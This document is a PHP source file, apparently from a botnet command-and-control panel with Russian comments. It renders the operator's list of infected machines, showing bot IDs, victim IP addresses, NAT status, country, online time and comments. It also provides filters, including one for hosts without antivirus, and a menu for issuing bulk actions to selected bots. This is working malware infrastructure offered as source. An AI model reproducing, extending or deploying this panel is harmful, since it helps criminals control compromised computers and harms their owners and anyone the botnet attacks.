-
Notifications
You must be signed in to change notification settings - Fork 158
/
Copy pathbotnet_bots.php
315 lines (276 loc) · 19.6 KB
/
botnet_bots.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
<?php if(!defined('__CP__'))die();
define('BOTS_PER_PAGE', 50); //Количетсво ботов на страницу.
define('BOTSLIST_ROWS_COUNT', 10); //Количетсво столбцов в списке ботов.
$fullQuery = QUERY_STRING; //Строка полного запроса.
///////////////////////////////////////////////////////////////////////////////////////////////////
// Определяем данные для фильтра.
///////////////////////////////////////////////////////////////////////////////////////////////////
$filter['bots'] = isset($_GET['bots']) ? $_GET['bots'] : '';
$filter['botnets'] = isset($_GET['botnets']) ? $_GET['botnets'] : '';
$filter['ips'] = isset($_GET['ips']) ? $_GET['ips'] : '';
$filter['countries'] = isset($_GET['countries']) ? $_GET['countries'] : '';
$filter['os'] = isset($_GET['os']) ? $_GET['os'] : '';
$filter['nat'] = isset($_GET['nat']) ? intval($_GET['nat']) : 1;
$filter['online'] = isset($_GET['online']) ? intval($_GET['online']) : 1;
$filter['new'] = isset($_GET['new']) ? intval($_GET['new']) : 0;
$filter['used'] = isset($_GET['used']) ? intval($_GET['used']) : 0;
$filter['comment'] = isset($_GET['comment']) ? intval($_GET['comment']) : 0;
$filter['noav'] = isset($_GET['noav']) ? intval($_GET['noav']) : 0;
$filter['died'] = isset($_GET['died']) ? intval($_GET['died']) : 0;
$filter['suite'] = isset($_GET['suite']) ? intval($_GET['suite']) : 0;
foreach($filter as $k => $i)$fullQuery .= '&'.$k.'='.urlencode($i);
///////////////////////////////////////////////////////////////////////////////////////////////////
// Определяем данные текущей сортировки.
///////////////////////////////////////////////////////////////////////////////////////////////////
$fullQuery .= assocateSortMode(array('bot_id', 'botnet', 'bot_version', 'ipv4', 'country', 'rtime_online', 'net_latency', 'comment'));
$jsSort = addJsSlashes($fullQuery);
$jsPage = addJsSlashes($fullQuery);
///////////////////////////////////////////////////////////////////////////////////////////////////
// JavaScript скрипты.
///////////////////////////////////////////////////////////////////////////////////////////////////
$jsScript = jsCheckAll('botslist', 'checkall', 'bots[]').
jsSetSortMode($jsSort).
"function changePage(p){window.location='{$jsPage}&page=' + p; return false;}";
///////////////////////////////////////////////////////////////////////////////////////////////////
// Создание запроса.
///////////////////////////////////////////////////////////////////////////////////////////////////
/*
Касательно LOCATE(`ipv4`, `ipv4_list`). Способ имеет достаточно заметный косяк, но задумываясь
о хоть каком-то выиграше в скорости, не думаю что его стоит лечить... Я думаю вероятность встретить
такого сурового совпадения в диком интернете очень низка. Еще можно попробывать делить по модулю
на 4... Что приведет к противоположному косяку...
*/
$q = array();
if($filter['nat'] > 0) $q[] = "LOCATE(`ipv4`, `ipv4_list`)".($filter['nat'] == 1 ? '>' : '=')."0";
if($filter['new'] > 0) $q[] = "`flag_new`=".($filter['new'] == 1 ? 1 : 0);
if($filter['used'] > 0) $q[] = "`flag_used`=".($filter['used'] == 1 ? 1 : 0);
if($filter['online'] > 0) $q[] = "`rtime_last`".($filter['online'] == 1 ? '>=' : '<').ONLINE_TIME_MIN;
if($filter['comment'] > 0)$q[] = "LENGTH(`comment`)".($filter['comment'] == 1 ? '>' : '=')."0";
if($filter['died'] > 0)$q[] = "`rtime_last`".($filter['died'] == 1 ? '<' : '>=').((CURRENT_TIME - 3600*96) - $config['botnet_timeout']);
if($filter['suite'] > 0) $q[] = "((`os_version` << 48) & ".$filter['suite'].") != 0";
$q[] = expressionToSql($filter['bots'], '`bot_id`', 0, 1);
$q[] = expressionToSql($filter['botnets'], '`botnet`', 0, 1);
$q[] = expressionToSql($filter['ips'], 'CONCAT_WS(\'.\', ORD(SUBSTRING(`ipv4`, 1, 1)), ORD(SUBSTRING(`ipv4`, 2, 1)), ORD(SUBSTRING(`ipv4`, 3, 1)), ORD(SUBSTRING(`ipv4`, 4, 1)))', 0, 1); //Это ужасно.
$q[] = expressionToSql($filter['countries'], '`country`', 0, 1);
//Чистим массив.
foreach($q as $k => $v)if($v == '')unset($q[$k]);
$query1 = count($q) > 0 ? 'WHERE '.implode(' AND ', $q) : '';
$query2 = $query1.' ORDER BY '.$_sortColumn.($_sortOrder == 0 ? ' ASC' : ' DESC');
if($_sortColumnId != 0)$query2 .= ', `bot_id`'.($_sortOrder == 0 ? ' ASC' : ' DESC');
unset($q);
///////////////////////////////////////////////////////////////////////////////////////////////////
// Вывод списка.
///////////////////////////////////////////////////////////////////////////////////////////////////
//Данные о странице.
$curPage = (!empty($_GET['page']) && is_numeric($_GET['page']) ? $_GET['page'] : 1);
$pageCount = 0;
$pageList = '';
$botsCount = 0;
//Запрос 1.
$r = mysqlQueryEx('botnet_list', 'SELECT COUNT(*) FROM `botnet_list` '.$query1);
if(($mt = @mysql_fetch_row($r)))
{
//Создание списка страниц.
if(($pageCount = ceil($mt[0] / BOTS_PER_PAGE)) > 1)
{
$pageList =
THEME_DIALOG_ROW_BEGIN.
str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN).
showPageList($pageCount, $curPage, 'return changePage({P})').
THEME_DIALOG_ITEM_CHILD_END.
THEME_DIALOG_ROW_END;
}
$botsCount = $mt[0];
}
//Запрос 2.
$botsList = '';
$offset = (($curPage - 1) * BOTS_PER_PAGE);
if(!$r ||
!($r = mysqlQueryEx('botnet_list', 'SELECT `bot_id`, `botnet`, `bot_version`, LOCATE(`ipv4`, `ipv4_list`), `ipv4`, `country`, `rtime_online`, IF(`rtime_last`>='.ONLINE_TIME_MIN.', 1, 0), `net_latency`, `comment` FROM `botnet_list` '.$query2.' LIMIT '.$offset.', '.BOTS_PER_PAGE)) ||
@mysql_affected_rows() === 0)
{
$botsList .=
THEME_LIST_ROW_BEGIN.
str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(BOTSLIST_ROWS_COUNT, $r ? LNG_BOTNET_LIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1).
THEME_LIST_ROW_END;
}
//Вывод результата.
else
{
$i = 0;
while(($mt = @mysql_fetch_row($r)))
{
//IPv4.
$ipv4 = binaryIpToString($mt[4]);
//Метка NAT.
if($mt[3] == 0)$ipv4 .= '*';
$themeText = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1;
$themeNum = $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1;
$themeCb = $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1;
$botsList .=
THEME_LIST_ROW_BEGIN.
str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('bots[]', htmlEntitiesEx($mt[0]), ''), $themeCb).
str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(++$offset)), $themeNum).
str_replace(array('{WIDTH}', '{TEXT}'), array('auto', botPopupMenu($mt[0], 'botmenu')), $themeText).
str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[1])), $themeText).
str_replace(array('{WIDTH}', '{TEXT}'), array('auto', intToVersion($mt[2])), $themeText).
str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $ipv4), $themeText).
str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[5])), $themeText).
str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $mt[7] == 1 ? tickCountToText(CURRENT_TIME - $mt[6]) : LNG_FORMAT_NOTIME), $themeNum).
str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsFloat($mt[8] / 1000, 3)), $themeNum).
str_replace(array('{WIDTH}', '{TEXT}'), array('auto', empty($mt[9]) ? '-' : htmlEntitiesEx($mt[9])), $themeText).
THEME_LIST_ROW_END;
$i++;
}
}
///////////////////////////////////////////////////////////////BACKONNECT//////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////
// Создание списока дейтвий.
///////////////////////////////////////////////////////////////////////////////////////////////////
$actions = '';
if($pageCount > 0 && count($botMenu) > 0)
{
$data = LNG_BOTNET_BOTSACTION.THEME_STRING_SPACE.str_replace(array('{NAME}', '{WIDTH}'), array('botsaction', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN);
foreach($botMenu as $item)$data .= str_replace(array('{VALUE}', '{TEXT}'), array($item[0], $item[1]), THEME_DIALOG_ITEM_LISTBOX_ITEM);
$data .= THEME_DIALOG_ITEM_LISTBOX_END.THEME_STRING_SPACE.str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_ACTION_APPLY, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT);
$actions = THEME_DIALOG_ROW_BEGIN.str_replace('{TEXT}', $data, THEME_DIALOG_ITEM_TEXT).THEME_DIALOG_ROW_END;
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Вывод.
///////////////////////////////////////////////////////////////////////////////////////////////////
define('INPUT_WIDTH', '250px'); //Ширина input.text.
define('SELECT_WIDTH', '150px'); //Ширина select.
ThemeBegin(LNG_BOTNET, $jsScript, getBotJsMenu('botmenu'), 0);
echo
//Фильтр.
str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('filter', QUERY_SCRIPT_HTML, ''), THEME_FORMGET_BEGIN).
FORM_CURRENT_MODULE.
str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN).
str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_BOTNET_FILTER_TITLE), THEME_DIALOG_TITLE).
THEME_DIALOG_ROW_BEGIN.
str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN).
THEME_DIALOG_ROW_BEGIN.
str_replace('{TEXT}', LNG_BOTNET_FILTER_BOTS, THEME_DIALOG_ITEM_TEXT).
str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'bots', htmlEntitiesEx($filter['bots']), 512), THEME_DIALOG_ITEM_INPUT_TEXT).
THEME_DIALOG_ROW_END.
THEME_DIALOG_ROW_BEGIN.
str_replace('{TEXT}', LNG_BOTNET_FILTER_BOTNETS, THEME_DIALOG_ITEM_TEXT).
str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'botnets', htmlEntitiesEx($filter['botnets']), 512), THEME_DIALOG_ITEM_INPUT_TEXT).
THEME_DIALOG_ROW_END.
THEME_DIALOG_ROW_BEGIN.
str_replace('{TEXT}', LNG_BOTNET_FILTER_IPS, THEME_DIALOG_ITEM_TEXT).
str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'ips', htmlEntitiesEx($filter['ips']), 512), THEME_DIALOG_ITEM_INPUT_TEXT).
THEME_DIALOG_ROW_END.
THEME_DIALOG_ROW_BEGIN.
str_replace('{TEXT}', LNG_BOTNET_FILTER_COUNTRIES, THEME_DIALOG_ITEM_TEXT).
str_replace(array('{WIDTH}', '{NAME}', '{VALUE}', '{MAX}'), array(INPUT_WIDTH, 'countries', htmlEntitiesEx($filter['countries']), 512), THEME_DIALOG_ITEM_INPUT_TEXT).
THEME_DIALOG_ROW_END.
THEME_DIALOG_ROW_BEGIN.
str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{TEXT}', '{JS_EVENTS}'),
array(2, 'died', 1, LNG_STATS_COLUMN_DIEDBOTS, ''),
$filter['died'] ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2
).
THEME_DIALOG_ROW_END.
THEME_DIALOG_GROUP_END.
str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN).
THEME_DIALOG_ROW_BEGIN.
str_replace('{TEXT}', LNG_BOTNET_FILTER_NAT, THEME_DIALOG_ITEM_TEXT).
str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN).
str_replace(array('{NAME}', '{WIDTH}'), array('nat', SELECT_WIDTH), THEME_DIALOG_ITEM_LISTBOX_BEGIN).
str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_BOTNET_FILTER_ALL), $filter['nat'] == 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM).
str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_BOTNET_FILTER_NAT_OUTSIDE), $filter['nat'] == 1 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM).
str_replace(array('{VALUE}', '{TEXT}'), array(2, LNG_BOTNET_FILTER_NAT_INSIDE), $filter['nat'] == 2 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM).
THEME_DIALOG_ITEM_LISTBOX_END.
THEME_DIALOG_ITEM_CHILD_END.
THEME_DIALOG_ROW_END.
THEME_DIALOG_ROW_BEGIN.
str_replace('{TEXT}', LNG_BOTNET_FILTER_ONLINE, THEME_DIALOG_ITEM_TEXT).
str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN).
str_replace(array('{NAME}', '{WIDTH}'), array('online', SELECT_WIDTH), THEME_DIALOG_ITEM_LISTBOX_BEGIN).
str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_BOTNET_FILTER_ALL), $filter['online'] == 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM).
str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_BOTNET_FILTER_ONLINE_ONLINE), $filter['online'] == 1 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM).
str_replace(array('{VALUE}', '{TEXT}'), array(2, LNG_BOTNET_FILTER_ONLINE_OFFLINE), $filter['online'] == 2 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM).
THEME_DIALOG_ITEM_LISTBOX_END.
THEME_DIALOG_ITEM_CHILD_END.
THEME_DIALOG_ROW_END.
THEME_DIALOG_ROW_BEGIN.
str_replace('{TEXT}', LNG_BOTNET_FILTER_NEW, THEME_DIALOG_ITEM_TEXT).
str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN).
str_replace(array('{NAME}', '{WIDTH}'), array('new', SELECT_WIDTH), THEME_DIALOG_ITEM_LISTBOX_BEGIN).
str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_BOTNET_FILTER_ALL), $filter['new'] == 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM).
str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_BOTNET_FILTER_NEW_TRUE), $filter['new'] == 1 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM).
str_replace(array('{VALUE}', '{TEXT}'), array(2, LNG_BOTNET_FILTER_NEW_FALSE), $filter['new'] == 2 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM).
THEME_DIALOG_ITEM_LISTBOX_END.
THEME_DIALOG_ITEM_CHILD_END.
THEME_DIALOG_ROW_END.
THEME_DIALOG_ROW_BEGIN.
str_replace('{TEXT}', LNG_BOTNET_FILTER_USED, THEME_DIALOG_ITEM_TEXT).
str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN).
str_replace(array('{NAME}', '{WIDTH}'), array('used', SELECT_WIDTH), THEME_DIALOG_ITEM_LISTBOX_BEGIN).
str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_BOTNET_FILTER_ALL), $filter['used'] == 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM).
str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_BOTNET_FILTER_USED_TRUE), $filter['used'] == 1 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM).
str_replace(array('{VALUE}', '{TEXT}'), array(2, LNG_BOTNET_FILTER_USED_FALSE), $filter['used'] == 2 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM).
THEME_DIALOG_ITEM_LISTBOX_END.
THEME_DIALOG_ITEM_CHILD_END.
THEME_DIALOG_ROW_END.
THEME_DIALOG_ROW_BEGIN.
str_replace('{TEXT}', LNG_BOTNET_FILTER_COMMENT, THEME_DIALOG_ITEM_TEXT).
str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN).
str_replace(array('{NAME}', '{WIDTH}'), array('comment', SELECT_WIDTH), THEME_DIALOG_ITEM_LISTBOX_BEGIN).
str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_BOTNET_FILTER_ALL), $filter['comment'] == 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM).
str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_BOTNET_FILTER_COMMENT_TRUE), $filter['comment'] == 1 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM).
str_replace(array('{VALUE}', '{TEXT}'), array(2, LNG_BOTNET_FILTER_COMMENT_FALSE), $filter['comment'] == 2 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM).
THEME_DIALOG_ITEM_LISTBOX_END.
THEME_DIALOG_ITEM_CHILD_END.
THEME_DIALOG_ROW_END.
THEME_DIALOG_ROW_BEGIN.
str_replace('{TEXT}', LNG_BOTNET_FILTER_SUITE, THEME_DIALOG_ITEM_TEXT).
str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN).
str_replace(array('{NAME}', '{WIDTH}'), array('suite', SELECT_WIDTH), THEME_DIALOG_ITEM_LISTBOX_BEGIN).
str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_BOTNET_FILTER_NOSUITE), $filter['suite'] == 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM).
str_replace(array('{VALUE}', '{TEXT}'), array(VER_SUITE_SMALLBUSINESS, LNG_VER_SUITE_SMALLBUSINESS), $filter['suite'] == VER_SUITE_SMALLBUSINESS ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM).
str_replace(array('{VALUE}', '{TEXT}'), array(VER_SUITE_SMALLBUSINESS_RESTRICTED, LNG_VER_SUITE_SMALLBUSINESS_RESTRICTED), $filter['suite'] == VER_SUITE_SMALLBUSINESS_RESTRICTED ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM).
THEME_DIALOG_ITEM_LISTBOX_END.
THEME_DIALOG_ITEM_CHILD_END.
THEME_DIALOG_ROW_END.
THEME_DIALOG_GROUP_END.
THEME_DIALOG_ROW_END.
str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ACTIONLIST_BEGIN).
str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_BOTNET_FILTER_RESET, ''), THEME_DIALOG_ITEM_ACTION_RESET).
THEME_STRING_SPACE.
str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_BOTNET_FILTER_SUBMIT, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT).
THEME_DIALOG_ACTIONLIST_END.
THEME_DIALOG_END.
addSortModeToForm().
THEME_FORMGET_END.
THEME_VSPACE.
//Результат.
str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('botslist', QUERY_SCRIPT_HTML, ''), THEME_FORMGET_TO_NEW_BEGIN).
str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN).
str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, sprintf(LNG_BOTNET_LIST, numberFormatAsInt($botsCount))), THEME_DIALOG_TITLE).
$pageList.
$actions.
THEME_DIALOG_ROW_BEGIN.
str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN).
str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN).
THEME_LIST_ROW_BEGIN.
str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{JS_EVENTS}', '{WIDTH}'), array(1, 'checkall', 1, ' onclick="checkAll()"', 'auto'), THEME_LIST_HEADER_CHECKBOX_1).
str_replace(array('{COLUMNS_COUNT}', '{TEXT}', '{WIDTH}'), array(1, '#', 'auto'), THEME_LIST_HEADER_R).
writeSortColumn(LNG_BOTNET_LIST_BOTID, 0, 0).
writeSortColumn(LNG_BOTNET_LIST_BOTNET, 1, 0).
writeSortColumn(LNG_BOTNET_LIST_VERSION, 2, 0).
writeSortColumn(LNG_BOTNET_LIST_IPV4, 3, 0).
writeSortColumn(LNG_BOTNET_LIST_CONTRY, 4, 0).
writeSortColumn(LNG_BOTNET_LIST_ONLINETIME, 5, 1).
writeSortColumn(LNG_BOTNET_LIST_LATENCY, 6, 1).
writeSortColumn(LNG_BOTNET_LIST_COMMENT, 7, 0).
THEME_LIST_ROW_END.
$botsList.
THEME_LIST_END.
THEME_DIALOG_ITEM_CHILD_END.
THEME_DIALOG_ROW_END.
THEME_DIALOG_END.
THEME_FORMGET_END;
ThemeEnd();
die();
?>